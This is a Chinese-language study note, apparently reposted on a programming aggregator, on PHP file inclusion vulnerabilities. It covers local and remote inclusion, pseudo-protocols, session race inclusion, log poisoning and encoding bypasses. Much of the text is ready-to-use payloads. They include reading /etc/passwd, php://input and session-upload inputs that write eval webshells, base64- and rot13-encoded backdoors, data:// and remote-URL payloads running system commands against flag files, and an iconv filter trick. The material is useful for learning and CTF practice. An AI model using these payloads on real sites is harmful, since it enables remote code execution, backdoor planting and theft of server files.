【學習筆記】文件包含漏洞--本地遠程包含、偽協議、加密編碼

一、文件包含漏洞

和SQL等攻擊方式一樣,文件包含漏洞也是一種注入型漏洞,其本質就是輸入一段用戶能夠控制的腳本或者代碼,并讓服務端執行。

什么叫包含呢?以PHP為例,我們常常把可重復使用的函數寫入到單個文件中,在使用該函數時,直接調用此文件,而無需再次編寫函數,這一過程叫做包含。

PHP常用文件包含函數:include(),require(),include_once(),require_once()

區別如下:

  • require():找不到被包含的文件會產生致命錯誤,并停止腳本運行
  • include():找不到被包含的文件只會產生警告,腳本繼續執行
  • require_once()與require()類似:唯一的區別是如果該文件的代碼已經被包含,則不會再次包含
  • include_once()與include()類似:唯一的區別是如果該文件的代碼已經被包含,則不會再次包含

二、漏洞成因分析?

寫以下兩串php代碼

?

利用文件包含,我們通過include函數來執行phpinfo.php頁面,成功解析

將phpinfo.php文件后綴改為txt后進行訪問,依然可以解析,同理,jpg也可

可以看出,include()函數并不在意被包含的文件是什么類型,只要有php代碼,都會被解析出來。

在文件上傳漏洞中,我們上傳了一個jpg格式的一句話木馬,如果網站有文件包含漏洞,jpg文件就可以被當做php文件解析,所以這就是文件上傳漏洞通常配合文件上傳使用。

將phpinfo.txt的內容改成一段文字:hello world!,再次進行訪問,依舊可以讀出文本內容

利用這個特性,我們可以讀取一下包含敏感信息的文件。

三、本地包含、遠程包含

①本地文件包含(LFI)

本地文件包含是指包含服務器本地文件并執行其中的代碼。通常用于重用代碼片段,避免重復編寫相同的代碼。

例如,在PHP中,可以使用includerequire函數來包含文件:

<?phpinclude('localfile.php');?>

如果包含的文件不存在,include函數會產生警告,但腳本會繼續運行,而require函數會產生致命錯誤并終止腳本。

②遠程文件包含(RFI)

遠程文件包含是指通過URL包含遠程服務器上的文件并執行其中的代碼。

要實現遠程文件包含,PHP配置中的allow_url_include必須開啟:

<?phpinclude('http://example.com/remotefile.php');?>

遠程文件包含的風險更大,因為攻擊者可以通過URL傳遞惡意代碼并在目標服務器上執行。

風險:本地文件包含:主要風險是泄露服務器上的敏感文件。

???????????遠程文件包含:風險更大,可能導致遠程代碼執行。

四、偽協議

文件包含漏洞全面詳解(偽協議)-CSDN博客

文件讀取:

file:///etc/passwd(絕對路徑)

php://filter/read=convert.base64-encode/resource=phpinfo.php(相對路徑)

文件寫入:

php://filter/write=convert.base64-encode/resource=phpinfo.php

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

代碼執行:

php://input——POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCdJcycpOz8+

(注:PD9waHAgc3lzdGVtKCdJcycpOz8+解碼為<?php system('Is');?>

五、session包含

session文件會定時清空

自定義session名字,條件競爭不斷訪問session文件,value代碼會不斷寫入是session文件中去,然后再session文件清空的一剎那不斷用條件競爭去包含session文件,使其執行value代碼,代碼執行時就會創建shell.php文件,寫入后門代碼。

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />

六、php&http協議

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system('tac flag.php');?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

七、data&http協議

payload: ?file=data://text/plain,<?=system('tac flag.*');?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

八、日志包含

利用日志記錄UA特性包含執行,將后門代碼寫入UA 頭中

payload:/var/log/nginx/access.log

九、php://filter/write&加密編碼

1、利用base64:

url編碼2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凱撒13:

url編碼2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

十、php://filter/write&新的算法

convert.iconv.:一種過濾器,和使用iconv()函數處理流數據有等同作用

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

以上內容均為自己學習理解所得,如有錯誤,歡迎大家評論指正!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/903190.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/903190.shtml
英文地址,請注明出處:http://en.pswp.cn/news/903190.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

藍橋杯 2021年模擬賽 掃雷問題

題目&#xff1a; 在一個 n 行 m 列的方格圖上有一些位置有地雷&#xff0c;另外一些位置為空。 請為每個空位置標一個整數&#xff0c;表示周圍八個相鄰的方格中有多少個地雷。 輸入描述 輸入的第一行包含兩個整數 n,m。 第 22行到第n1 行每行包含 m 個整數&#xff0c;相…

寫windows服務日志-.net4.5.2-定時修改數據庫中某些參數

環境&#xff1a; windows 11 Visual Studio 2015 .net 4.5.2 SQL Server 目的&#xff1a; 定時修改數據庫中某些參數的值 定時修改24小時內&#xff0c;SQL數據庫中&#xff0c;表JD_Reports 內&#xff0c;如果部門是‘體檢科&#xff0c;設置打印類型為 1 可以打印。步驟&a…

madvise MADV_FREE對文件頁統計的影響及原理

一、背景 madvise系統調用是一個與性能優化強相關的一個系統調用。madvise系統調用包括使用madvise函數&#xff0c;也包含使用posix_fadvise函數。如我們可以使用posix_fadvise傳入POSIX_FADV_DONTNEED來清除文件頁的page cache以減少內存壓力。 這篇博客里&#xff0c;我們…

于鍵值(KV)的表

基于鍵值&#xff08;KV&#xff09;的表 將行編碼為鍵值&#xff08;KVs&#xff09; 索引查詢&#xff1a;點查詢和范圍查詢 在關系型數據庫中&#xff0c;數據被建模為由行和列組成的二維表。用戶通過SQL表達他們的意圖&#xff0c;而數據庫則神奇地提供結果。不那么神奇的…

2025年邵陽市工程技術研究中心申報流程、條件、獎補

一、邵陽市工程技術研究中心申報條件 &#xff08;一&#xff09;工程技術研究中心主要依托科技型企業組建&#xff0c;依托單位應具有以下條件&#xff1a; 1.?具有較強技術創新意識的領導班子和技術水平高、工程化實踐經驗豐富的工程技術研發隊伍&#xff0c;其中固定人員…

Python+AI提示詞出租車出行軌跡預測:梯度提升GBR、KNN、LR回歸、隨機森林融合及貝葉斯概率異常檢測研究

原文鏈接&#xff1a;tecdat.cn/?p41693 在當今數字化浪潮席卷全球的時代&#xff0c;城市交通領域的海量數據如同蘊藏著無限價值的寶藏等待挖掘。作為數據科學家&#xff0c;我們肩負著從復雜數據中提取關鍵信息、構建有效模型以助力決策的使命&#xff08;點擊文末“閱讀原文…

系統重裝——聯想sharkbay主板電腦

上周給一臺老電腦重裝系統系統&#xff0c;型號是lenovo sharkbay主板的電腦&#xff0c;趁著最近固態便宜&#xff0c;入手了兩塊長城的固態&#xff0c;裝上以后插上啟動U盤&#xff0c;死活進不去boot系統。提示 bootmgr 缺失&#xff0c;上網查了許久&#xff0c;終于解決了…

python連接Elasticsearch并完成增刪改查

python庫提供了elasticsearch模塊,可以通過以下命令進行快速安裝,但是有個細節需要注意一下,安裝的模塊版本要跟es軟件版本一致,此處舉例:7.8.1 pip install elasticsearch==7.8.1 首先連接elasticsearch,以下是免密示例 from elasticsearch import Elasticsearch# El…

PDF嵌入圖片

所需依賴 <dependency><groupId>com.itextpdf</groupId><artifactId>itext-core</artifactId><version>9.0.0</version><type>pom</type> </dependency>源碼 /*** PDF工具*/ public class PdfUtils {/*** 嵌入圖…

目標檢測篇---faster R-CNN

目標檢測系列文章 第一章 R-CNN 第二篇 Fast R-CNN 目錄 目標檢測系列文章&#x1f4c4; 論文標題&#x1f9e0; 論文邏輯梳理1. 引言部分梳理 (動機與思想) &#x1f4dd; 三句話總結&#x1f50d; 方法邏輯梳理&#x1f680; 關鍵創新點&#x1f517; 方法流程圖關鍵疑問解答…

Seaborn模塊練習題

1.使用tips數據集&#xff0c;創建一個展示不同時間段(午餐/晚餐)賬單總額分布的箱線圖 import seaborn as sns import matplotlib.pyplot as plt import pandas as pdsns.set_style("darkgrid") plt.rcParams["axes.unicode_minus"] Falsetips pd.read…

計算機網絡 | 應用層(1)--應用層協議原理

&#x1f493;個人主頁&#xff1a;mooridy &#x1f493;專欄地址&#xff1a;《計算機網絡&#xff1a;自定向下方法》 大綱式閱讀筆記 關注我&#x1f339;&#xff0c;和我一起學習更多計算機的知識 &#x1f51d;&#x1f51d;&#x1f51d; 目錄 1. 應用層協議原理 1.1 …

論文導讀 - 基于大規模測量與多任務深度學習的電子鼻系統實現目標識別、濃度預測與狀態判斷

基于大規模測量與多任務深度學習的電子鼻系統實現目標識別、濃度預測與狀態判斷 原論文地址&#xff1a;https://www.sciencedirect.com/science/article/abs/pii/S0925400521014830 引用此論文&#xff08;GB/T 7714-2015&#xff09;&#xff1a; WANG T, ZHANG H, WU Y, …

React中createPortal 的詳細用法

createPortal 是 React 提供的一個實用工具&#xff0c;用于將 React 子元素渲染到 DOM 中的某個位置&#xff0c;而該位置與父組件不在同一個 DOM 層次結構中。這在某些特殊場景下非常有用&#xff0c;比如實現模態框、彈出菜單、固定定位元素等功能。 基本語法 JavaScript …

電池的壽命

思路&#xff1a; 首先&#xff0c;我們觀察發現&#xff1a;由于每枚電池的使用時間不同&#xff0c;而我們又要減少浪費才能使所有電池加起來用得最久&#xff0c;不難發現&#xff1a;當n2時&#xff0c;輸出較小值。 第一步&#xff1a;將電池分為兩組&#xff0c;使兩組…

LeetCode每日一題4.27

3392. 統計符合條件長度為 3 的子數組數目 問題 問題分析 統計符合條件的長度為 3 的子數組數目。具體條件是&#xff1a;子數組的第一個數和第三個數的和恰好為第二個數的一半。 思路 遍歷數組&#xff1a;由于子數組長度固定為 3&#xff0c;我們可以通過遍歷數組來檢查每…

Linux日志處理命令多管道實戰應用

全文目錄 1 日志處理1.1 實時日志分析1.1.1 nginx日志配置1.1.2 nginx日志示例1.1.3 日志分析示例 1.2 多文件合并分析1.3 時間范圍日志提取 2 問題追查2.1 進程級問題定位2.2 網絡連接排查2.3 硬件故障追蹤 3 數據統計3.1 磁盤空間預警3.2 進程資源消耗排名3.3 HTTP狀態碼統計…

0803分頁_加載更多-網絡ajax請求2-react-仿低代碼平臺項目

文章目錄 1 分頁1.1 url與分頁參數1.2 分頁組件與url1.3 列表頁引用分頁組件 2 加載更多2.1 狀態2.2 觸發時機2.3 加載數據2.4優化 結語 1 分頁 1.1 url與分頁參數 查詢問卷列表接口&#xff0c;添加分頁參數&#xff1a; page&#xff1a;當前頁碼&#xff08;第幾頁&#…

【技術追蹤】基于擴散模型的腦圖像反事實生成與異常檢測(TMI-2024)

一種新穎的擴散模型雙重采樣策略&#xff0c;DDPM DDIM ~ 論文&#xff1a;Diffusion Models for Counterfactual Generation and Anomaly Detection in Brain Images 0、摘要 病理區域的分割掩模在許多醫學應用中很有用&#xff0c;例如腦腫瘤和中風管理。此外&#xff0c;疾…

第十六屆藍橋杯大賽軟件賽省賽第二場 C/C++ 大學 A 組

比賽還沒有開始&#xff0c;竟然忘記寫using namespace std; //debug半天沒看明白 (平時cv多了 然后就是忘記那個編譯參數&#xff0c;&#xff08;好慘的開局 編譯參數-stdc11 以下都是賽時所寫代碼&#xff0c;賽時無聊時把思路都打上去了&#xff08;除了倒數第二題&#…